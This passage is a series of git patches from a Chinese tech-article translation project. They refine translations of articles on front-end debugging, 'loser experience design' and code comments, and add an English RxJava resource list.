+> 译注，jsconsole 官网现在因为未知原因打不开了，也可以用 Weinre 和 Ghostlab 等工具进行移动远程调试。
 
-#### CSS Grid Debugging #### (#article-header-id-18 .has-header-link)
+#### 调试 CSS 网格布局 ####
 
-Rachel Andrew gave a presentation at Smashing and mentioned a little waffle thing you can click on in Firefox that will illuminate the gutters in the grid. [Her video](http://gridbyexample.com/learn/2016/12/17/learning-grid-day17/) explains it really eloquently.
+Rachel Andrew 也送给我们一个很好的方法。当你使用 Firefox 时，点击一个图标，网格的间隔将会被高亮。[她的视频](http://gridbyexample.com/learn/2016/12/17/learning-grid-day17/)详细地解释了这个技巧。
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/Screen-Shot-2017-04-10-at-9.58.14-AM.png)
 
-Rachel Andrew shows how to highlight gutters in Firefox DevTools.
+**上图为 Rachel Andrew 展示了如何在 Firefox 开发者工具中将网格的间距高亮。**
 
-#### Array Debugging ####
+#### 数组调试 ####
 
-Wes Bos with a really useful tip for searching for a single item in an array:
+Wes Bos 提供了一个在数据中搜索元素的一个很有用的技巧：
 
-> If you are just looking for a single item array.find() is 🔥 [https://t.co/AuRtyFwnq7](https://t.co/AuRtyFwnq7)
+>  你可以用 array.find 来查找元素🔥 [https://t.co/AuRtyFwnq7](https://t.co/AuRtyFwnq7)
 >
-> — Wes Bos (@wesbos) [March 15, 2017](https://twitter.com/wesbos/status/842069915158884354)
+>  — Wes Bos (@wesbos) [2017年3月15日](https://twitter.com/wesbos/status/842069915158884354)
 
-### Further Debugging Resources ###
+### 更多调试相关的资源 ###
 
-Jon Kuperman has a [Frontend Masters course](https://frontendmasters.com/courses/chrome-dev-tools/) that can help you master devtools it goes along [with this app](https://github.com/jkup/mastering-chrome-devtools).
+Jon Kuperman 制作了一个 [“前端能手课程”](https://frontendmasters.com/courses/chrome-dev-tools/)，这个课程将会通过[这个 app](https://github.com/jkup/mastering-chrome-devtools) 来帮助你掌握开发者工具的使用。
 
-There’s a small course on code school called [discover devtools](https://www.codeschool.com/courses/discover-devtools).
+code school 的一个小课程：[发现开发者工具](https://www.codeschool.com/courses/discover-devtools)。
 
-Umar Hansa has a new online course called [Modern DevTools](https://moderndevtools.com/).
+Umar Hansa 的一个新的在线课程： [现代开发者工具](https://moderndevtools.com/)。
 
-Julia Evans has a great article [about debugging here](http://jvns.ca/blog/2015/11/22/how-i-got-better-at-debugging/), hat tip to Jamison Dance for showing it to me.
+Julia Evans 写了一篇很不错的 [关于调试的文章](http://jvns.ca/blog/2015/11/22/how-i-got-better-at-debugging/)，在此向 Jamison Dance 致谢，感谢他让我看到这么好的文章。
 
-Paul Irish does some [advanced performance audits with devtools](https://docs.google.com/document/d/1K-mKOqiUiSjgZTEscBLjtjd6E67oiK8H2ztOiq5tigk/pub) if you're super nerdy like me and want to dig into the timeline.
+Paul Irish 总结了一些 [使用开发者工具进行性能检查的高级技巧](https://docs.google.com/document/d/1K-mKOqiUiSjgZTEscBLjtjd6E67oiK8H2ztOiq5tigk/pub)。如果你和我一样是个书呆子，可以把它收藏起来深入研究。
 
-Finally, I'll put in a bittersweet resource. My friend James Golick who was an excellent programmer and even more excellent human gave this great conference talk about debugging anything many years ago. Sadly James has passed, but we can still honor his memory and learn from him:
+在文章的最后，我将放上一个让人喜忧参半的资源。我的朋友 James Golick 是一位杰出的程序员，在多年以前做过一个关于 degub 的会议讲话。虽然 James 去世了，但是我们仍然能在这个视频中回忆他、向他学习。[点击观看视频]([https://youtu.be/VV7b7fs4VI8](https://youtu.be/VV7b7fs4VI8))
 
 ---
 

From c59b76118dafb73371ccbe08503bf974fb7ca100 Mon Sep 17 00:00:00 2001
From: ylq167 <ylq950327@gmail.com>
Date: Tue, 25 Apr 2017 14:05:39 +0800
Subject: [PATCH 251/638] =?UTF-8?q?=E6=A0=B7=E5=BC=8F=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/on-loser-experience-design.md | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/TODO/on-loser-experience-design.md b/TODO/on-loser-experience-design.md
index a262e933fe2..8af076f4589 100644
--- a/TODO/on-loser-experience-design.md
+++ b/TODO/on-loser-experience-design.md
@@ -6,7 +6,7 @@
 
 # 针对失败者的用户体验设计 #
 
-## 设计平台或产品不仅是针对赢家，大 V 和意见领袖。##
+## 设计平台或产品不仅是针对赢家，大V和意见领袖。##
 
 ![](https://cdn-images-1.medium.com/max/800/1*kVOEiUv3YK8tcYEa5QKmLA.jpeg)
 
@@ -16,7 +16,7 @@ Turntable.fm，就是一个针对失败者的用户体验设计的教训。
 
 但是，当我使用 turntable.fm 越多，我愈发的开始觉得自己就像一个，呃，**失败者**。我主要感兴趣的是发现新的音乐，而不是成为一个**虚拟 DJ 明星**。但是这个平台似乎并没有对成为一个好的听众提供鼓励或激励，在我完全参与到与虚拟室友的互动后没有提供闪亮的奖品。我的化身仍然微小并平庸着，而其他人在慢慢成长，装饰着珠宝，配备着酷酷的动物服饰。
 
-**Turntable.fm 对失败者的糟糕体验，使普通用户感到在这个游戏中根本无法战胜强大的对手。
+**Turntable.fm 对失败者的糟糕体验，使普通用户感到在这个游戏中根本无法战胜强大的对手。**
 
 在缺乏良好的对失败者的体验设计的情况下，产品和平台变成了渴望变成「大V」的人们驻扎的鬼城，拼命地陷入一个曾经被好奇的普通用户占据的空洞。在一个痴迷性能指标和状态标记的世界中，糟糕的失败者体验设计就在我们周围。
 
@@ -32,7 +32,7 @@ Turntable.fm，就是一个针对失败者的用户体验设计的教训。
 
 是的，短期来看，人们可以被一个抽象奖励的产品像「积分」或「[硬币](https://techcrunch.com/2015/12/09/swarm-now-lets-you-spend-those-coins-on-upgraded-stickers/)」激励。但是看看当你的用户看见他们自己落在「排行榜」的底部，或者在他们投资获得那些闪亮的小饰品的时间后但无法获得任何真正的价值时会发生什么。努力争取一些东西却发现是毫无价值的，是令人感到尴尬和沮丧的，会让你感觉自己「像一个彻底的失败者」。不必要的的「游戏化」是最糟糕和懒惰的坏的失败者体验设计模式之一。从长远看来，他[不起作用](http://www.gartner.com/newsroom/id/2251015)。
 
-- **你可以从视觉上区分赢家和失败者
+- **你可以从视觉上区分赢家和失败者。**
 
 Twitter 的认证系统旨在通过「认证」用户是真实身份来促进信任。但是在初期，「认证」就像是一个[「重要的」人的荣誉勋章](http://anildash.com/2013/03/what-its-like-being-verified-on-twitter.html)，和一个[在有无勋章的人之间的阶级划分](http://www.xojane.com/tech/how-to-get-verified-on-twitter)。当 Twitter 大力认证记者时，是为缓解这种糟糕的失败者体验设计迈出的重大一步，明确表示这个区别有功能性的*目的*，并会赋予不是高地位名人的人。
 
@@ -48,11 +48,11 @@ Zach Holman 的「[不要给你的用户进行工作](https://zachholman.com/pos
 
 糟糕的失败者体验设计可能会严重伤害产品，**良好的**失败者体验设计可以帮助培养广泛，有针对性和自我增长的用户群。 这里有一些好的失败者体验设计的技巧：
 
-- **帮助用户找到**他们（想要的）**人，而不是最受欢迎的人。**
+- **帮助用户找到他们（想要的）人，而不是最受欢迎的人。**
 
 当平台重点关注「赞」和「最爱」之间的共同利益和社交纽带时，他们帮助每个人找到一个他们所属的地方。Instagram 已经做了很好的工作，他们的发现功能，持续展示出与**你**接近（类似）的人，而不是最受欢迎的或粉丝最多的。他们的新发现功能帮助我找到我的[吉他](https://www.instagram.com/leoleoband/)[人](https://www.instagram.com/lostincrystalcanyons/)，我的[cat](https://www.instagram.com/scruffles_fatcat/)[people](https://www.instagram.com/12catslady/)，甚至发现一个全新的[草原](https://www.instagram.com/rinran032/)社区[dog](https://www.instagram.com/prairiedogpack/)[people](https://www.instagram.com/pimpa_wan/)。正如我更多地使用这些发现功能，我已经开始更少关注我获得了多少「粉丝」和「赞」，并更多地关注与我互动的人 -- 这是一个好的失败者体验设计的信号。
 
-- **给「被动」用户有意义的方式来参与**
+- **给「被动」用户有意义的方式来参与。**
 
 Tumblr 的转发功能是一个很好的失败者体验设计的例子。如果有人看到他们喜欢的东西，他们可以把它**分享给他们的整个网络**，而不仅仅是留下评论或「赞」，这样可以帮助人们更深入地互相交流，这意味着由数量不多追随者的写作的投递可以通过网络和社区来找到更广泛的观众。他也给不想「写」的人一个有意义的方式贡献与参与。
 

From 72b65c2a4dc61b38e68e8a4cf8a1d30a9a17a172 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Tue, 25 Apr 2017 19:32:44 +0800
Subject: [PATCH 252/638] proofreading & add proofreaders

---
 TODO/code-comments-the-good-the-bad-and-the-ugly.md | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/TODO/code-comments-the-good-the-bad-and-the-ugly.md b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
index 2f17420660b..9924620abc2 100644
--- a/TODO/code-comments-the-good-the-bad-and-the-ugly.md
+++ b/TODO/code-comments-the-good-the-bad-and-the-ugly.md
@@ -2,13 +2,13 @@
 > * 原文作者：[Bill Sourour](https://medium.freecodecamp.com/@BillSourour?source=post_header_lockup)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者： [bambooom](https://github.com/bambooom)
-> * 校对者：
+> * 校对者：[zhangqippp](https://github.com/zhangqippp)、[steinliber](https://github.com/steinliber)
 
 # 代码中添加注释之好坏丑
 
 ![](https://cdn-images-1.medium.com/max/1000/1*ddM-OL7PF36NZ6QYCa95bQ.jpeg) 
 
-题图是克林特 · 伊斯特伍德在《黄金三镖客》中。
+题图是克林特 · 伊斯特伍德在《黄金三镖客》中剧照。
 
 
 如果你以前听过这句话就打断我...
@@ -33,7 +33,7 @@
 
 文档注释是为了给任何可能使用你的源代码的人看的，但他们不一定会通读代码。如果你正在构建给其他开发者使用的库或框架，你需要某种形式的 API 文档。
 
-越早从源代码中移除 API 文档，随着时间的推移，文档就越有可能变得过时或不准确。减少这种情况的一个好策略就是直接将文档嵌入代码中，之后再使用工具提取文档。
+越早从源代码中提取 API 文档，随着时间的推移，文档就越有可能变得过时或不准确。减少这种情况的一个好策略就是直接将文档嵌入代码中，之后再使用工具提取文档。
 
 下面是一个文档注释的例子，来自一个流行的 JavaScript 库，叫做 [Lodash](https://lodash.com)。
 
@@ -183,7 +183,6 @@ Number.isFinite(value)
 
 ```
 /* 
-Class used to workaround Richard being a f***ing idiot
 这是配合 Richard 的工作而写的类，他是个白痴
 */
 ```

From bc0860bb182da29de49da99964604a5d35493615 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Tue, 25 Apr 2017 20:38:46 +0800
Subject: [PATCH 253/638] Update debugging-tips-tricks.md

---
 TODO/debugging-tips-tricks.md | 38 +++++++++++++++++------------------
 1 file changed, 19 insertions(+), 19 deletions(-)

diff --git a/TODO/debugging-tips-tricks.md b/TODO/debugging-tips-tricks.md
index 6b0472d0760..2179da3c5fd 100644
--- a/TODO/debugging-tips-tricks.md
+++ b/TODO/debugging-tips-tricks.md
@@ -2,48 +2,48 @@
 > * 原文作者：[SARAH DRASNER](https://css-tricks.com/author/sdrasner/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者：[lsvih](https://github.com/lsvih)
-> * 校对者：
+> * 校对者：[loveky](https://github.com/loveky),[ymz1124](https://github.com/ymz1124)
 
-# 前端 Debug 技巧与诀窍  #
+# 前端调试技巧与诀窍  #
 
-编写代码其实只是开发者的一小部分工作。为了让工作更有效率，我们还必须精通 debug。我发现，花一些时间学习新的调试技巧，往往能让我能更快地完成工作，对我的团队做出更大的贡献。对于调试这方面我总结了一些技巧与诀窍，我非常地依赖它们。但是，我发现在研讨会中我总是要一遍又一遍地重复这些建议，因此我对它们进行了一个汇总（其中有一些来自于社区）。我们将从一些核心概念开始讲解，然后深入探讨一些具体的例子。
+编写代码其实只是开发者的一小部分工作。为了让工作更有效率，我们还必须精通 debug。我发现，花一些时间学习新的调试技巧，往往能让我能更快地完成工作，对我的团队做出更大的贡献。关于调试这方面我有一些自己重度依赖的技巧与诀窍，同时我在 workshop 中我总是要一遍又一遍地重复这些建议，因此我对它们进行了一个汇总（其中有一些来自于社区）。我们将从一些核心概念开始讲解，然后深入探讨一些具体的例子。
 
 ### 主要概念 ###
 
 #### 隔离问题 ####
 
-隔离问题大概是 debug 中最重要的核心概念。我们的代码库是由不同的类库、框架组成的，它们有着许多的贡献者，甚至还有一些不再参与项目的人也为其提供过代码，因此我们的代码库是杂乱无章的。隔离问题可以帮助我们将与问题无关的部分去除，让我们能专注于问题以寻找解决方案。
+隔离问题大概是 debug 中最重要的核心概念。我们的代码库是由不同的类库、框架组成的，它们有着许多的贡献者，甚至还有一些不再参与项目的人也为其提供过代码，因此我们的代码库是杂乱无章的。隔离问题可以帮助我们逐步剥离与问题无关的部分以便我们可以把注意力放在解决方案上。
 
-隔离问题的好处有且不限于以下几条：
+隔离问题的好处包括但不限于以下几条：
 
-- 能够指出问题的根本原因是我们想象的那样，还是另外的某些冲突。
+- 能够弄清楚问题的根本原因是否是我们想的那样，还是存在其它的冲突。
 - 对于时序任务，能判断是否存在竞争状态。
 - 严格审查我们的代码是否还能够更加精简，这样既能帮助我们写代码也能帮助我们维护代码。
 - 解开纠缠在一起的代码，以观察到底是只有一个问题还是存在更多的问题。
 
 让问题能够被重现是很重要的。如果你不能重现问题来分辨出它到底出在哪里，你将会很难修复这个问题。或者你也可以将它和类似的正常工作的模块进行对比，这样你就可以发现哪里进行过改动，或者发现两者之间有什么不同。
 
-在实际操作中，我有许多种方法对问题进行隔离。其中一种是在本地创建一个精简的测试用例，当人也可以在 CodePen 或  JSBin 中创建一个私人的测试用例。另一种是在代码中创建断点，这样可以让我一字节一字节地观察代码的执行情况。以下是几种定义断点的方式：
+在实际操作中，我有许多种方法对问题进行隔离。其中一种是在本地创建一个精简的测试用例，当然你也可以在 CodePen 创建一个私人测试用例，或者在 JSBin 创建你的用例。另一种是在代码中创建断点，这样可以让我详细地观察代码的执行情况。以下是几种定义断点的方式：
 
-你可以在你代码中逐行地写上 `debugger;`，这样你可以看到当时这一小块代码做了什么。
+你可以在你代码中写上 `debugger;`，这样你可以看到当时这一小块代码做了什么。
 
-你还可以使用 Chrome 开发者工具来代替这一步，它可以单步跟踪事件的发生。你也可以用它选择性地观察指定的事件监听器。
+你在 Chrome 开发者工具中还可以做到更进一步，单步跟踪事件的发生。你也可以用它选择性地观察指定的事件监听器。
 
 ![Step into the next function call](https://cdn.css-tricks.com/wp-content/uploads/2017/04/stepintonextfunctioncall.gif)
 
-实现隔离问题需要正确地使用 `console.log`（PHP 中是 `echo`，python 中是 `print` ……）。你可以一小片一小片地执行代码并对你的假设进行测试，或者检查看有什么东西发生了变化。这可能是最耗费时间的测试方式了。但是无论你的水平如何高，你还是得乖乖用它。ES6 的箭头函数也可以加速我们的 debug 游戏，它让我们可以在控制台中更方便地写单行代码。
+古老，好用的 `console.log` 是一种形式的隔离。（PHP 中是 `echo`，python 中是 `print` ……）。你可以一小片一小片地执行代码并对你的假设进行测试，或者检查看有什么东西发生了变化。这可能是最耗费时间的测试方式了。但是无论你的水平如何高，你还是得乖乖用它。ES6 的箭头函数也可以加速我们的 debug 游戏，它让我们可以在控制台中更方便地写单行代码。
 
-`console.table` 函数也是我最喜欢的工具之一。当你有大量的数据（例如很长的数组、巨大的对象等等）需要展示的时候，它特别有用。`console.dir` 函数也是个不错的选择。它可以将对象的原型链以可交互的列表形式打印在控制台中。
+`console.table` 函数也是我最喜欢的工具之一。当你有大量的数据（例如很长的数组、巨大的对象等等）需要展示的时候，它特别有用。`console.dir` 函数也是个不错的选择。它可以把一个对象的属性以可交互的形式展示出来。
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/04/dir.png)
 
 **上图为 console.dir 输出的可交互的列表**
 
-#### 理清条理 ####
+#### 保持条理清晰 ####
 
-当我在研讨会上做讲师，帮助我的班级的学生时，我发现，思路不够清晰是阻碍他们调试的一大问题。这实际上是一种龟兔赛跑的情形。他们想要行动的更快，因此他们会在写代码时一次就改写成吨的代码——然后出了某些问题，他们不知道到底是改的那部分导致了问题的出现。接着，为了 debug，他们又一次改很多代码，最后迷失在寻找哪里能正常运行、哪里不能正常运行中。
+当我在 workshop 上做讲师，帮助我的班级的学生时，我发现，思路不够清晰是阻碍他们调试的一大问题。这实际上是一种龟兔赛跑的情形。他们想要行动的更快，因此他们会在写代码时一次就改写很多的代码——然后出了某些问题，他们不知道到底是改的那部分导致了问题的出现。接着，为了 debug，他们又一次改很多代码，最后迷失在寻找哪里能正常运行、哪里不能正常运行中。
 
-其实我们或多或少都在这么做。当我们对一个工具越来越熟练时，我们会在没有测试的情况下写越来越多的代码。但是当你刚开始用一个语法或技术时，你需要放慢速度并且非常谨慎。你将能越来越快地处理自己无意间造成的错误。其实，当你弄出了一个问题的时候，一次调试一个问题可能会看起来慢一些，但其实要找出哪里发生了变化以及问题的所在是没法快速解决的。我说以上这些话是想告诉你：欲速则不达。
+其实我们或多或少都在这么做。当我们对一个工具越来越熟练时，我们会在没有对设想的情况进行测试的情况下写越来越多的代码。但是当你刚开始用一个语法或技术时，你需要放慢速度并且非常谨慎。你将能越来越快地处理自己无意间造成的错误。其实，当你弄出了一个问题的时候，一次调试一个问题可能会看起来慢一些，但其实要找出哪里发生了变化以及问题的所在是没法快速解决的。我说以上这些话是想告诉你：欲速则不达。
 
 **你还记得小时候父母告诉你的话吗？“如果你迷路了，待在原地别动。“** 至少我的父母这么说了。这么说的原因是如果他们在到处找我，而我也在到处跑着找他们的话，我们将更难碰到一起。代码也是这样的。你每次动的代码越少就越好，你持续返回的结果越多，就越容易找到问题所在。所以当你在调试时，请尽量不要安装任何东西或者添加新的依赖。如果本应该返回一个静态结果的地方每次都出现不同的错误，你就得特别注意了！
 
@@ -53,11 +53,11 @@
 
 #### 代码高亮 ####
 
-当然，为你的代码高亮主题找一个最热辣的配色与风格方案是很有趣的，但是请花点时间想清楚这件事。我经常选用黑色的主题，我的所有代码都会被渲染成明亮的颜色，这样我就可以很轻松地找到错误了。我也尝试过使用 Oceanic Next 配色方案与 Panda 配色方案，但是说实话我还是最喜欢自己的那种。在寻找优秀的代码高亮工具的时候请保持理智，帅气的外观当然很棒，但是为你揪出错误的功能性更加重要。当然，你完全有可能找到两者都很优秀的代码高亮工具。
+当然，为你的代码高亮主题找一个最热辣的配色与风格方案是很有趣的，但是请花点时间想清楚这件事。我个人倾向于使用黑色的主题，我的所有代码都会被渲染成明亮的颜色，这样我就可以很轻松地找到错误了。我也尝试过使用 Oceanic Next 配色方案与 Panda 配色方案，但是说实话我还是最喜欢自己的那种。在寻找优秀的代码高亮工具的时候请保持理智，帅气的外观当然很棒，但是为你揪出错误的功能性更加重要。当然，你完全有可能找到两者都很优秀的代码高亮工具。
 
 #### 使用 Lint 工具 ####
 
-使用 Lint 工具能够帮助我们标记出来一些可以的代码，并且能报出我们忽视的一些错误。Lint 工具相当的重要，使用何种 lint 工具取决于你使用的语言与框架，以及最重要的：你认可怎样的代码风格。
+使用 Lint 工具能够帮助我们标记出来一些可疑的代码，并且能报出我们忽视的一些错误。Lint 工具相当的重要，使用何种 lint 工具取决于你使用的语言与框架，以及最重要的：你认可怎样的代码风格。
 
 不同的公司有着不同的代码风格及规定。我个人比较喜欢 [AirBnB 的 JS 代码规范](https://github.com/airbnb/javascript)。你的 Lint 工具将会强制你按照指定的模式进行编程，否则它可以终止你的构建过程。我曾经使用过一个 CSS Lint 工具，当我为浏览器写 css hack 时，它一直在报错。最后我不得不常常关闭它，它也就没能起到应有的作用。但是一个好的 Lint 工具可以把你忽视的一些潜在的问题指出来。
 
@@ -98,7 +98,7 @@
 
 ### 特别提示 ###
 
-我一直对其他人是怎么 debug 的很感兴趣，所以我在 CSS-Tricks 与一些我个人很喜欢的社区进行了提问。以下是社区中大家给出的技巧的合集。
+我一直对其他人是怎么 debug 的很感兴趣，所以我通过 CSS-Tricks 与我的个人账号在社区征集大家最喜欢的调试方式。以下是社区中大家给出的技巧的合集。
 
 > 译注：以下如“@xxx -2017年3月15日”格式的文字均为用户在推特上的发言，点击日期可以看到原推特。
 
@@ -129,7 +129,7 @@ $('body').on('focusin',function(){
 >
 > — MICHAEL JACKSON (@mjackson) [2017年3月15日](https://twitter.com/mjackson/status/842041642760646657)
 
-Michael 提到的这个办法，是我认为最有用的 debug 工具之一。代码片段“漂亮地打印出了”你当前正在使用的组件的 state，因此你可以了解此时此刻这个组件将会如何变化。你可以确认这个 state 是否和你设想的一样正常工作，它可以帮助你跟踪任何 state 中的错误，以及你使用 state 出现的错误。
+Michael 提到的这个办法，是我认为最有用的 debug 工具之一。这点代码可以“美观地输出”你当前正在使用的组件的 state，因此你可以了解此时此刻这个组件将会如何变化。你可以确认这个 state 是否和你设想的一样正常工作，它可以帮助你跟踪任何 state 中的错误，以及你使用 state 出现的错误。
 
 #### 动画 ####
 
@@ -149,7 +149,7 @@ Michael 提到的这个办法，是我认为最有用的 debug 工具之一。
 
 如果你打算用 Chrome 开发者工具的时间轴来进行性能评估，那么请注意绘制（paint）是最耗性能的步骤，因此当时间轴中绿色占比很高的时候请当心。
 
-#### 检查不同的连接速度与加载速度 ####
+#### 检查不同连接状态下的加载情况 ####
 
 我往往在网速很快的条件中工作，所以我会限制我的网速来观察那些网速较慢的人们所体验到的性能。
 

From a5558b8a4d56d832560a1943564851ed578a7fcd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 25 Apr 2017 22:09:05 +0800
Subject: [PATCH 254/638] Create a-complete-guide-to-learn-rxjava.md

---
 TODO/a-complete-guide-to-learn-rxjava.md | 100 +++++++++++++++++++++++
 1 file changed, 100 insertions(+)
 create mode 100644 TODO/a-complete-guide-to-learn-rxjava.md

diff --git a/TODO/a-complete-guide-to-learn-rxjava.md b/TODO/a-complete-guide-to-learn-rxjava.md
new file mode 100644
index 00000000000..bd05349652f
--- /dev/null
+++ b/TODO/a-complete-guide-to-learn-rxjava.md
@@ -0,0 +1,100 @@
+> * 原文地址：[A Complete Guide To Learn RxJava](https://blog.mindorks.com/a-complete-guide-to-learn-rxjava-b55c0cea3631)
+> * 原文作者：[Amit Shekhar](https://blog.mindorks.com/@amitshekhar?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# **A Complete Guide To Learn RxJava** #
+
+![](https://cdn-images-1.medium.com/max/800/1*S_Mq74exiad5JrgyN-41pw.png)
+
+### **A Complete Resources To Learn RxJava At One Place.** ###
+
+#### What is RxJava? ####
+
+> RxJava is used for reactive programming. In reactive programming, the consumer reacts to the data as it comes in. Reactive programming allows for event changes to propagate to registered observers.
+
+As we know that the RxJava is the most important library for Android Projects. So we must have a proper grip on using RxJava in the Android Projects.
+
+#### **And I believe:** ####
+
+> **RxJava is an art and endless possibilities await those who can master it**
+
+### Let’s see all the best resources available to learn RxJava in the best possible way. ###
+
+### [Grokking RxJava Series](http://blog.danlew.net/2014/09/15/grokking-rxjava-part-1/) ###
+
+[RxJava](https://github.com/ReactiveX/RxJava) is the new hotness amongst Android developers these days. The only problem is that it can be difficult to approach initially. Functional Reactive Programming is hard when you come from an imperative world, but once you understand it, it’s so awesome.
+
+### [Learn RxJava By Examples](https://github.com/amitshekhariitbhu/RxJava2-Android-Samples)  ###
+
+**Because Learning by examples is the best way to learn**.
+
+[![](http://i1.piimg.com/1949/08be9bc226fd2cb4.png)](https://github.com/amitshekhariitbhu/RxJava2-Android-Samples)
+
+It consists of many examples like:
+
+- How to use operators in RxJava?
+- How to do networking in RxJava?
+- How to implement RxBus(EventBus) in RxJava?
+- How to implement pagination with RxJava?
+
+Another one is from Kaushik. I have learned a lot from here.
+
+[![Markdown](http://i1.piimg.com/1949/34e05ecb9f101fa6.png)](https://github.com/kaushikgopal/RxJava-Android-Samples)
+
+### [Exploring RxJava 2 for Android by Jake Wharton](https://www.youtube.com/watch?v=htIXKI5gOQU)  ###
+
+![](https://cdn.embedly.com/widgets/xcomm.html#name=media&sid=fb6eccf04e144d928ac51cf751abf7b0)
+
+### [Managing State with RxJava by Jake Wharton](https://www.youtube.com/watch?v=0IKHxjkgop4) ### 
+
+![](https://cdn.embedly.com/widgets/xcomm.html#name=media&sid=7082ade718c745b3b8233afc1662d939) 
+
+### [Another Learn Rxjava By Examples](https://www.youtube.com/watch?v=k3D0cWyNno4) ###
+
+![](https://cdn.embedly.com/widgets/xcomm.html#name=media&sid=06f58fec20af46309597cec9b86abfff) 
+
+### [Understanding RxJava Subject — Publish, Replay, Behavior and Async Subject](https://blog.mindorks.com/understanding-rxjava-subject-publish-replay-behavior-and-async-subject-224d663d452f) ###
+
+[![](http://i1.piimg.com/1949/b30bdcbf45a1753c.png)](https://blog.mindorks.com/understanding-rxjava-subject-publish-replay-behavior-and-async-subject-224d663d452f)
+
+### [Using RxJava In Networking](https://blog.mindorks.com/rxjava-fast-android-networking-6e3d90ee4387) ###
+
+[![Markdown](http://i1.piimg.com/1949/1120535cb191dff0.png)](https://blog.mindorks.com/rxjava-fast-android-networking-6e3d90ee4387)
+
+### [Better Explanation of RxJava and Using It In Android](https://medium.com/@kurtisnusbaum/rxandroid-basics-part-1-c0d5edcf6850#.z6ha43z02)  ###
+
+[![Markdown](http://i1.piimg.com/1949/b12f79e5f3711746.png)](https://medium.com/@kurtisnusbaum/rxandroid-basics-part-1-c0d5edcf6850)
+
+### [The Complete Introduction To Reactive Programming](https://gist.github.com/staltz/868e7e9bc2a7b8c1f754) ###
+
+[Link here.](https://gist.github.com/staltz/868e7e9bc2a7b8c1f754)
+
+### [**Intro To RxJava**](https://github.com/Froussios/Intro-To-RxJava) ###
+
+[Link here.](https://github.com/Froussios/Intro-To-RxJava) 
+
+### [Crunching RxAndroid](https://medium.com/crunching-rxandroid/crunching-rxandroid-intro-c27eb6f009ea) ###
+
+[![Markdown](http://i1.piimg.com/1949/f6c9ba29bdef291f.png)](https://medium.com/crunching-rxandroid/crunching-rxandroid-intro-c27eb6f009ea)
+
+### [Why should you use RxJava in Android?](http://blog.feedpresso.com/2016/01/25/why-you-should-use-rxjava-in-android-a-short-introduction-to-rxjava.html) ###
+
+[![Markdown](http://i1.piimg.com/1949/d6af73998d20e852.png)](http://blog.feedpresso.com/2016/01/25/why-you-should-use-rxjava-in-android-a-short-introduction-to-rxjava.html)
+
+> **With great power, comes great responsibility. So learn it in the best way.**
+
+Happy Coding :)
+
+**Thanks for reading this article. Be sure to click ❤ below to recommend this article if you found it helpful. It means a lot to me.**
+
+***For more about programming, follow me and [Mindorks](https://blog.mindorks.com), so you’ll get notified when we write new posts.***
+
+[**Join The Mindorks Community And Learn From Each Other.**](https://mindorks.com/join-community) 
+
+**Also, Let’s become friends on [Twitter](https://twitter.com/amitiitbhu) , [Linkedin](https://in.linkedin.com/in/amit-shekhar-3b556499) , [Github](https://github.com/amitshekhariitbhu) and [Facebook](https://www.facebook.com/amit.shekhar.iitbhu).**
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From fa33f4ac4b7be4931a4d7282c8e73d6d73313319 Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Tue, 25 Apr 2017 22:16:08 +0800
Subject: [PATCH 255/638] Update debugging-tips-tricks.md

---
 TODO/debugging-tips-tricks.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/debugging-tips-tricks.md b/TODO/debugging-tips-tricks.md
index 2179da3c5fd..ecbda059dc2 100644
--- a/TODO/debugging-tips-tricks.md
+++ b/TODO/debugging-tips-tricks.md
@@ -6,7 +6,7 @@
 
 # 前端调试技巧与诀窍  #
 
-编写代码其实只是开发者的一小部分工作。为了让工作更有效率，我们还必须精通 debug。我发现，花一些时间学习新的调试技巧，往往能让我能更快地完成工作，对我的团队做出更大的贡献。关于调试这方面我有一些自己重度依赖的技巧与诀窍，同时我在 workshop 中我总是要一遍又一遍地重复这些建议，因此我对它们进行了一个汇总（其中有一些来自于社区）。我们将从一些核心概念开始讲解，然后深入探讨一些具体的例子。
+编写代码其实只是开发者的一小部分工作。为了让工作更有效率，我们还必须精通 debug。我发现，花一些时间学习新的调试技巧，往往能让我能更快地完成工作，对我的团队做出更大的贡献。关于调试这方面我有一些自己重度依赖的技巧与诀窍，同时我在 workshop 中经常建议大家使用这些技巧，因此我对它们进行了一个汇总（其中有一些来自于社区）。我们将从一些核心概念开始讲解，然后深入探讨一些具体的例子。
 
 ### 主要概念 ###
 

From 0277605288b1a8217d4f36378b63f7064db11ec4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 25 Apr 2017 22:36:27 +0800
Subject: [PATCH 256/638] Create design-principle-aesthetics.md

---
 TODO/design-principle-aesthetics.md | 160 ++++++++++++++++++++++++++++
 1 file changed, 160 insertions(+)
 create mode 100644 TODO/design-principle-aesthetics.md

